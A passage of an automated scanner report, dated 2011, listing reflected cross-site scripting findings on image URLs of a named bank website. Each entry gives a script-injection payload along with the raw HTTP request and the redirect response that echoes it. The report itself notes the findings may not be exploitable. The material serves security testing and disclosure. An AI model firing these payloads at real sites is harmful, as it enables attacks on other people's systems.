<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/76225/logo_ca_cib.png?6c6df"><script>alert(1)</script>baf61dd99ba=1"> ...[SNIP]...
1.39. http://www.ca-cib.com/sitegenic/medias/IMAGE/95445/03_business_lines4.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72742"><script>alert(1)</script>ba11988da38 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:14:41 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/03_business_lines4.gif?72742"><script>alert(1)</script>ba11988da38=1 Content-Length: 313 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/03_business_lines4.gif?72742"><script>alert(1)</script>ba11988da38=1"> ...[SNIP]...
1.40. http://www.ca-cib.com/sitegenic/medias/IMAGE/95445/03_business_solutions.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab11d"><script>alert(1)</script>cd80862737a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:30 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/03_business_solutions.gif?ab11d"><script>alert(1)</script>cd80862737a=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/03_business_solutions.gif?ab11d"><script>alert(1)</script>cd80862737a=1"> ...[SNIP]...
1.41. http://www.ca-cib.com/sitegenic/medias/IMAGE/95445/global-presence-box-eng-344.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17b87"><script>alert(1)</script>f89074b91e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/95445/global-presence-box-eng-344.jpg?17b87"><script>alert(1)</script>f89074b91e6=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:58 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/global-presence-box-eng-344.jpg?17b87"><script>alert(1)</script>f89074b91e6=1 Content-Length: 322 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/global-presence-box-eng-344.jpg?17b87"><script>alert(1)</script>f89074b91e6=1"> ...[SNIP]...
1.42. http://www.ca-cib.com/sitegenic/medias/IMAGE/95445/more_than_business.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f182a"><script>alert(1)</script>ae3fefb3a62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/95445/more_than_business.gif?f182a"><script>alert(1)</script>ae3fefb3a62=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/more_than_business.gif?f182a"><script>alert(1)</script>ae3fefb3a62=1 Content-Length: 313 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/more_than_business.gif?f182a"><script>alert(1)</script>ae3fefb3a62=1"> ...[SNIP]...
1.43. http://www.ca-cib.com/sitegenic/medias/IMAGE/95445/our_products.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.ca-cib.com
Path:
/sitegenic/medias/IMAGE/95445/our_products.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bc02"><script>alert(1)</script>293c415f8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/95445/our_products.gif?9bc02"><script>alert(1)</script>293c415f8e=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:58 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/our_products.gif?9bc02"><script>alert(1)</script>293c415f8e=1 Content-Length: 306 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/our_products.gif?9bc02"><script>alert(1)</script>293c415f8e=1"> ...[SNIP]...
1.44. http://www.ca-cib.com/sitegenic/medias/IMAGE/95445/you_are.gif [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.ca-cib.com
Path:
/sitegenic/medias/IMAGE/95445/you_are.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc7c7"><script>alert(1)</script>66075bd1dc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/95445/you_are.gif?fc7c7"><script>alert(1)</script>66075bd1dc1=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:52 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/you_are.gif?fc7c7"><script>alert(1)</script>66075bd1dc1=1 Content-Length: 302 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/95445/you_are.gif?fc7c7"><script>alert(1)</script>66075bd1dc1=1"> ...[SNIP]...
Report generated by XSS.CX at Tue Oct 04 09:31:01 CDT 2011.